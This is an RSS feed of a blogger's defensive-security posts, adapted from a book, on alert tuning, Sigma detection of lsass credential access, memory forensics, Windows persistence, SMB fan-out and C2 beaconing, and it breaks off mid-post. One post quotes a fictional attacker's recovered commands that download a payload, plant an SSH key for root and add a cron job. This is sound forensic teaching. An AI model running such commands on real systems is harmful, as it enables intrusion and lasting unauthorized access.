<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: tktkkame</title>
    <description>The latest articles on DEV Community by tktkkame (@tokotokokame).</description>
    <link>https://dev.to/tokotokokame</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4187633%2F68d918a7-3a28-406f-b92f-14757137f157.jpg</url>
      <title>DEV Community: tktkkame</title>
      <link>https://dev.to/tokotokokame</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/tokotokokame"/>
    <language>en</language>
    <item>
      <title>A great rule, 99% false positives: base rates and careful tuning</title>
      <dc:creator>tktkkame</dc:creator>
      <pubDate>Wed, 11 Nov 2026 02:53:22 +0000</pubDate>
      <link>https://dev.to/tokotokokame/a-great-rule-99-false-positives-base-rates-and-careful-tuning-3308</link>
      <guid>https://dev.to/tokotokokame/a-great-rule-99-false-positives-base-rates-and-careful-tuning-3308</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The scenario and numbers are &lt;strong&gt;illustrative&lt;/strong&gt;; the arithmetic was verified by script.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;"This rule is useless, it's all false positives." Maybe the rule is good, and the math is the problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you'll learn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The confusion matrix as a shared language&lt;/li&gt;
&lt;li&gt;The base-rate fallacy, with numbers&lt;/li&gt;
&lt;li&gt;Tuning that doesn't add false negatives&lt;/li&gt;
&lt;li&gt;Why every exclusion needs FN verification&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The story at a glance
&lt;/h2&gt;

&lt;p&gt;Week 1: a rule for &lt;code&gt;WINWORD -&amp;gt; powershell -enc&lt;/code&gt; floods the queue, mostly managed-software automation. Week 2: analysts start ignoring it. Week 3: the real attack is buried. They detected it and still couldn't respond.&lt;/p&gt;

&lt;h2&gt;
  
  
  Confusion matrix
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Attack&lt;/th&gt;
&lt;th&gt;Normal&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Alert&lt;/td&gt;
&lt;td&gt;TP&lt;/td&gt;
&lt;td&gt;FP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No alert&lt;/td&gt;
&lt;td&gt;FN (most dangerous)&lt;/td&gt;
&lt;td&gt;TN&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Base rate, in numbers
&lt;/h2&gt;

&lt;p&gt;1,000,000 events/day, 10 real attacks, zero misses, false positive rate 0.1%:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TP = 10, FP = 999,990 x 0.1% = about 1,000&lt;/li&gt;
&lt;li&gt;Precision = 10 / 1,010 = &lt;strong&gt;0.99%&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cut the false positive rate to 0.001% and precision rises to about 50%. Both figures were computed and verified in a script.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tuning rules of thumb
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Baseline before you exclude.&lt;/li&gt;
&lt;li&gt;Exclusions: narrow and specific (full path of the managed product, decoded content, principal, signature), never "exclude powershell.exe".&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-enc&lt;/code&gt; is a signal, not a verdict: always decode.&lt;/li&gt;
&lt;li&gt;Correlate in sequence and time window.&lt;/li&gt;
&lt;li&gt;After each exclusion, replay an attack and confirm it still alerts.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Operate with metrics
&lt;/h2&gt;

&lt;p&gt;Precision, alert volume per day, top-firing rules, and a periodic review of exclusions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Record why it was a false positive
&lt;/h2&gt;

&lt;p&gt;"Looks like FP" is not a conclusion. Write the evidence, and escalate when unsure.&lt;/p&gt;

&lt;p&gt;Next: running all this as a system, not heroics.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Adapted from chapter 32 of my Japanese book on server defense.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>soc</category>
      <category>siem</category>
      <category>detectionengineering</category>
    </item>
    <item>
      <title>Detect by invariants, not tool names: what attackers cannot change</title>
      <dc:creator>tktkkame</dc:creator>
      <pubDate>Tue, 10 Nov 2026 04:41:54 +0000</pubDate>
      <link>https://dev.to/tokotokokame/detect-by-invariants-not-tool-names-what-attackers-cannot-change-3kip</link>
      <guid>https://dev.to/tokotokokame/detect-by-invariants-not-tool-names-what-attackers-cannot-change-3kip</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The scenario is &lt;strong&gt;fictional&lt;/strong&gt;. Sysmon details come from the book. The Sigma rule was validated for syntax only (YAML, required keys, condition references).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Many rules read "alert if the process is named (famous attack tool).exe". The attacker renames the file and the rule is dead.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you'll learn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Brittle IOCs vs. robust TTPs&lt;/li&gt;
&lt;li&gt;The question that finds the choke point&lt;/li&gt;
&lt;li&gt;Invariants for lsass, WMI, pass-the-hash, Linux SUID&lt;/li&gt;
&lt;li&gt;A Sigma rule and its validation&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The story at a glance
&lt;/h2&gt;

&lt;p&gt;In part 7, &lt;code&gt;svc_update.exe&lt;/code&gt; read lsass. A rule keyed to that name catches it once; next time it's &lt;code&gt;winhelper.exe&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The question
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;What would the attacker have to change to evade this?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If the answer is "rename the file", it's brittle. If it's "change the whole technique", it's robust.&lt;/p&gt;

&lt;h2&gt;
  
  
  Invariants
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;lsass&lt;/strong&gt;: target &lt;code&gt;lsass.exe&lt;/code&gt; + GrantedAccess including &lt;code&gt;PROCESS_VM_READ&lt;/code&gt; (&lt;code&gt;0x1010&lt;/code&gt;, &lt;code&gt;0x1410&lt;/code&gt;) + source not a known legitimate accessor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WMI lateral movement&lt;/strong&gt;: parent is &lt;code&gt;WmiPrvSE.exe&lt;/code&gt; and child is cmd/powershell.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pass-the-hash&lt;/strong&gt;: 4624 type 3 + NTLM + privileged target in a Kerberos-standard environment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Linux SUID&lt;/strong&gt;: auditd &lt;code&gt;uid != euid&lt;/code&gt; and &lt;code&gt;euid = 0&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sigma
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;LSASS access with memory-read rights (non-legitimate source)&lt;/span&gt;
&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;6e1b7a52-0000-4c00-9000-lsass-vmread&lt;/span&gt;
&lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;experimental&lt;/span&gt;
&lt;span class="na"&gt;logsource&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;product&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;windows&lt;/span&gt;
  &lt;span class="na"&gt;category&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;process_access&lt;/span&gt;
&lt;span class="na"&gt;detection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;selection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;TargetImage|endswith&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'\lsass.exe'&lt;/span&gt;
    &lt;span class="na"&gt;GrantedAccess|contains&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'0x1010'&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'0x1410'&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'0x143a'&lt;/span&gt;
  &lt;span class="na"&gt;filter_legit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;SourceImage|startswith&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'C:\Windows\System32\'
&lt;/span&gt;  &lt;span class="na"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;selection and not filter_legit&lt;/span&gt;
&lt;span class="na"&gt;falsepositives&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s"&gt;EDR / security products (exclude by SourceImage and signature)&lt;/span&gt;
&lt;span class="na"&gt;level&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;high&lt;/span&gt;
&lt;span class="na"&gt;tags&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s"&gt;attack.credential_access&lt;/span&gt;
  &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s"&gt;attack.t1003.001&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Validated: required keys present and every name in &lt;code&gt;condition&lt;/code&gt; exists under &lt;code&gt;detection&lt;/code&gt; (2/2). This does &lt;strong&gt;not&lt;/strong&gt; prove it catches the event; convert it and test with real data. Keep exclusions narrow (path and signature).&lt;/p&gt;

&lt;h2&gt;
  
  
  Lifecycle
&lt;/h2&gt;

&lt;p&gt;Check the data source, write one detection, correlate, baseline and suppress, test with attack replays, track ATT&amp;amp;CK coverage, retire stale rules.&lt;/p&gt;

&lt;p&gt;Next: why even great rules produce 99% false positives.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Adapted from chapter 31 of my Japanese book on server defense.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>sigma</category>
      <category>detectionengineering</category>
      <category>windows</category>
    </item>
    <item>
      <title>history -c didn't erase it: recovering bash history from memory</title>
      <dc:creator>tktkkame</dc:creator>
      <pubDate>Mon, 09 Nov 2026 02:49:58 +0000</pubDate>
      <link>https://dev.to/tokotokokame/history-c-didnt-erase-it-recovering-bash-history-from-memory-18bn</link>
      <guid>https://dev.to/tokotokokame/history-c-didnt-erase-it-recovering-bash-history-from-memory-18bn</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The scenario is &lt;strong&gt;fictional&lt;/strong&gt; (RFC 5737 IPs). Volatility and auditd output come from the book and weren't run here. Follow evidence-handling procedures when acquiring memory.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Part 1 said the attacker emptied &lt;code&gt;.bash_history&lt;/code&gt;; part 6 said &lt;code&gt;history -c&lt;/code&gt; itself is recorded by auditd. There is one more place attackers forget.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you'll learn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Why shell history survives in RAM&lt;/li&gt;
&lt;li&gt;Reconstructing commands with &lt;code&gt;linux.bash&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;A trust ranking of records&lt;/li&gt;
&lt;li&gt;Detecting &lt;code&gt;wtmp&lt;/code&gt; tampering&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The story at a glance
&lt;/h2&gt;

&lt;p&gt;02:20-02:40 root session; 02:40 &lt;code&gt;history -c&lt;/code&gt; plus &lt;code&gt;systemctl stop auditd&lt;/code&gt;; afterwards &lt;code&gt;.bash_history&lt;/code&gt; is empty and auditd is blind, &lt;strong&gt;but a live bash process (PID 2411) is still in memory&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why it survives
&lt;/h2&gt;

&lt;p&gt;bash keeps history in process memory and writes the file on exit. Deleting the file or running &lt;code&gt;history -c&lt;/code&gt; doesn't wipe the live process's memory.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vol &lt;span class="nt"&gt;-f&lt;/span&gt; web03_mem.lime linux.bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PID 2411 bash  wget http://198.51.100.5/x -O /dev/shm/.update
PID 2411 bash  echo "ssh-ed25519 AAAA... attacker" &amp;gt;&amp;gt; /root/.ssh/authorized_keys
PID 2411 bash  (echo '* * * * * /dev/shm/.update') | crontab -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The payload drop, the key and the cron entry we reconstructed from other traces, in the attacker's own words.&lt;/p&gt;

&lt;h2&gt;
  
  
  Trust ranking
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Record&lt;/th&gt;
&lt;th&gt;Trust&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.bash_history&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;low&lt;/td&gt;
&lt;td&gt;self-reported, easy to erase&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;auditd EXECVE&lt;/td&gt;
&lt;td&gt;high&lt;/td&gt;
&lt;td&gt;kernel-level, unless auditd is stopped&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;in-memory bash history&lt;/td&gt;
&lt;td&gt;high&lt;/td&gt;
&lt;td&gt;only while the process lives&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;off-host logs&lt;/td&gt;
&lt;td&gt;highest&lt;/td&gt;
&lt;td&gt;out of reach&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Memory is the most volatile evidence: acquire it before any reboot or &lt;code&gt;kill&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Telling legitimate scripts apart
&lt;/h2&gt;

&lt;p&gt;Legit: auid set, operations user, managed repository. Attack: auid unset, &lt;code&gt;www-data&lt;/code&gt;, external C2, drop into &lt;code&gt;/dev/shm&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bonus: wtmp tampering
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;last &lt;span class="nt"&gt;-f&lt;/span&gt; /var/log/wtmp
lastb &lt;span class="nt"&gt;-f&lt;/span&gt; /var/log/btmp
utmpdump /var/log/wtmp | &lt;span class="nb"&gt;head&lt;/span&gt;   &lt;span class="c"&gt;# time going backwards, gaps, corrupt records = tampering&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cross-check with &lt;code&gt;auth.log&lt;/code&gt;, journald and &lt;code&gt;authorized_keys&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Next: detection rules should target what attackers can't change.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Adapted from chapter 30 of my Japanese book on server defense.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>linux</category>
      <category>forensics</category>
      <category>incidentresponse</category>
    </item>
    <item>
      <title>Windows persistence collapses to a few places: audit first, then diff</title>
      <dc:creator>tktkkame</dc:creator>
      <pubDate>Fri, 06 Nov 2026 03:30:07 +0000</pubDate>
      <link>https://dev.to/tokotokokame/windows-persistence-collapses-to-a-few-places-audit-first-then-diff-cbc</link>
      <guid>https://dev.to/tokotokokame/windows-persistence-collapses-to-a-few-places-audit-first-then-diff-cbc</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The scenario is &lt;strong&gt;fictional&lt;/strong&gt;. Commands and event IDs come from the book and aren't tested here; use a test environment first. Detection only.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;On Linux we audited keys and cron. Windows follows the same logic. Remember one line from part 7:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;09:13:05  Sysmon E13  Run key "Updater" created
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That was 23 seconds after lsass was read.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you'll learn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Persistence points grouped into a few families&lt;/li&gt;
&lt;li&gt;Auditing that catches the moment of write&lt;/li&gt;
&lt;li&gt;Baseline diffs for inventory&lt;/li&gt;
&lt;li&gt;Why you preserve before you clean&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Persistence families
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Family&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;th&gt;Log&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Run at startup&lt;/td&gt;
&lt;td&gt;Run keys, Startup&lt;/td&gt;
&lt;td&gt;Sysmon 13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scheduled tasks&lt;/td&gt;
&lt;td&gt;recurring task&lt;/td&gt;
&lt;td&gt;Security 4698 / 4702&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Services&lt;/td&gt;
&lt;td&gt;new service&lt;/td&gt;
&lt;td&gt;System 7045 / Security 4697&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WMI subscriptions&lt;/td&gt;
&lt;td&gt;&lt;code&gt;root\subscription&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sysmon 19 / 20 / 21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Accounts&lt;/td&gt;
&lt;td&gt;new user, privileged group&lt;/td&gt;
&lt;td&gt;Security 4720 / 4732&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Enable auditing first
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;auditpol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/subcategory:&lt;/span&gt;&lt;span class="s2"&gt;"Other Object Access Events"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/success:enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/failure:enable&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;auditpol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/category:&lt;/span&gt;&lt;span class="s2"&gt;"Account Management"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/success:enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/failure:enable&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Sysmon: include registry (13), WMI (19/20/21), file create (11) in the config&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By default these aren't recorded: not "no logs", just "not logging".&lt;/p&gt;

&lt;h2&gt;
  
  
  Baseline diff
&lt;/h2&gt;

&lt;p&gt;Save a normal-time list of Run keys, startup items, services, tasks and WMI subscriptions; diff later. Autoruns-style output works well.&lt;/p&gt;

&lt;h2&gt;
  
  
  Normal vs. attack
&lt;/h2&gt;

&lt;p&gt;Attacks come from &lt;code&gt;powershell&lt;/code&gt;/&lt;code&gt;rundll32&lt;/code&gt;/unfamiliar binaries, use generic names like &lt;code&gt;Updater&lt;/code&gt;, run from &lt;code&gt;C:\Users\Public\&lt;/code&gt;, and appear seconds to minutes after intrusion.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preserve, then clean
&lt;/h2&gt;

&lt;p&gt;Export and hash the key/task/WMI object first, trace the origin, then remove (book examples):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Unregister-ScheduledTask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TaskName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SystemUpdater"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Confirm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="bp"&gt;$false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Remove-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-InputObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$filter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Remove-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-InputObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$consumer&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Keep monitoring for re-planting.&lt;/p&gt;

&lt;h2&gt;
  
  
  Defense priorities
&lt;/h2&gt;

&lt;p&gt;Baseline plus periodic diff; minimal write rights on persistence points; FIM and Sysmon everywhere; application control against unsigned execution from temp paths.&lt;/p&gt;

&lt;p&gt;Next: the history that survived &lt;code&gt;history -c&lt;/code&gt;.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Adapted from chapter 26 of my Japanese book on server defense.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>windows</category>
      <category>sysmon</category>
      <category>incidentresponse</category>
    </item>
    <item>
      <title>One host hit port 445 on many others at 2 a.m.: the pre-lateral knock</title>
      <dc:creator>tktkkame</dc:creator>
      <pubDate>Thu, 05 Nov 2026 03:35:24 +0000</pubDate>
      <link>https://dev.to/tokotokokame/one-host-hit-port-445-on-many-others-at-2-am-the-pre-lateral-knock-1hk8</link>
      <guid>https://dev.to/tokotokokame/one-host-hit-port-445-on-many-others-at-2-am-the-pre-lateral-knock-1hk8</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The scenario is &lt;strong&gt;fictional&lt;/strong&gt; (10.0.0.0/8). The fan-out aggregation was tested on a synthetic firewall log.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A burglar tries doors one by one. On a network that is &lt;strong&gt;one host connecting to many internal hosts on the same port, in a short window&lt;/strong&gt;. Each connection looks ordinary; the pattern doesn't.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you'll learn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;How fan-out appears in firewall logs&lt;/li&gt;
&lt;li&gt;A one-line aggregation&lt;/li&gt;
&lt;li&gt;Why DROPs matter&lt;/li&gt;
&lt;li&gt;Confirming with authentication logs; false positives&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The story at a glance
&lt;/h2&gt;

&lt;p&gt;09:12:03 WS01 -&amp;gt; FS01:445 (business hours, single destination: normal). 02:31:06-07 WS01 -&amp;gt; many hosts:445, ALLOW and DROP mixed, reaching DC01.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;normal   09:12:03 ALLOW TCP 10.0.0.21 10.0.0.31 50410 445
attack   02:31:06 ALLOW TCP 10.0.0.21 10.0.0.41 50221 445
         02:31:06 DROP  TCP 10.0.0.21 10.0.0.55 50233 445   # hosts that don't exist
         02:31:07 ALLOW TCP 10.0.0.21 10.0.0.10 50244 445
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Differences: time of day, number of destinations, and DROPs. Probing nonexistent hosts means searching, not working.&lt;/p&gt;

&lt;h2&gt;
  
  
  Aggregation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'$7==445 {
  k=$4" "substr($1,1,5)
  if (!((k,$5) in seen)) { seen[k,$5]=1; n[k]++ }
  if ($2=="DROP") d[k]++ }
END { for (k in n) if (n[k]&amp;gt;=10) printf "FANOUT src=%s dst=%d drop=%d\n", k, n[k], d[k] }'&lt;/span&gt; fw.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On a synthetic log: &lt;code&gt;FANOUT src=10.0.0.21 02:31 dst=13 drop=8&lt;/code&gt;. A host repeatedly using one file server was not reported. Tune the threshold on your baseline.&lt;/p&gt;

&lt;h2&gt;
  
  
  Confirm with authentication
&lt;/h2&gt;

&lt;p&gt;The firewall shows attempts. FS01's 4624 (type 3) from WS01 and 5140 (&lt;code&gt;ADMIN$&lt;/code&gt;) show success (book; not tested here).&lt;/p&gt;

&lt;h2&gt;
  
  
  False positives
&lt;/h2&gt;

&lt;p&gt;Vulnerability scanners, asset management and monitoring do this too. Allow-list authorized sources, time windows and ranges narrowly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Defense
&lt;/h2&gt;

&lt;p&gt;Restrict workstation-to-workstation SMB and aggregate "one internal host to many destinations" continuously.&lt;/p&gt;

&lt;p&gt;Next: persistence on Windows.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Adapted from chapters 17 and 27 of my Japanese book on server defense.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>windows</category>
      <category>networking</category>
      <category>incidentresponse</category>
    </item>
    <item>
      <title>C2 beacons give themselves away by the clock</title>
      <dc:creator>tktkkame</dc:creator>
      <pubDate>Wed, 04 Nov 2026 03:04:31 +0000</pubDate>
      <link>https://dev.to/tokotokokame/c2-beacons-give-themselves-away-by-the-clock-1eab</link>
      <guid>https://dev.to/tokotokokame/c2-beacons-give-themselves-away-by-the-clock-1eab</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The scenario is &lt;strong&gt;fictional&lt;/strong&gt; (RFC 5737 IPs). Aggregations were tested on synthetic data.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Humans don't connect to the same host exactly every 60 seconds. Malware coded to "phone home every minute" does. That regularity is a footprint.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you'll learn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The timing signature of beacons&lt;/li&gt;
&lt;li&gt;A tested standard-deviation one-liner&lt;/li&gt;
&lt;li&gt;Finding exfiltration in the same log&lt;/li&gt;
&lt;li&gt;Telling it from monitoring and updates&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The story at a glance
&lt;/h2&gt;

&lt;p&gt;02:24 the payload starts on &lt;code&gt;web03&lt;/code&gt;; from 02:25 it sends small, nearly regular requests to &lt;code&gt;198.51.100.5:443&lt;/code&gt;; the alert fires at 02:41.&lt;/p&gt;

&lt;h2&gt;
  
  
  The idea
&lt;/h2&gt;

&lt;p&gt;For each (source, destination) pair, measure the gaps between connections. Humans: scattered (large standard deviation). Beacons: near constant (small), even with some jitter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
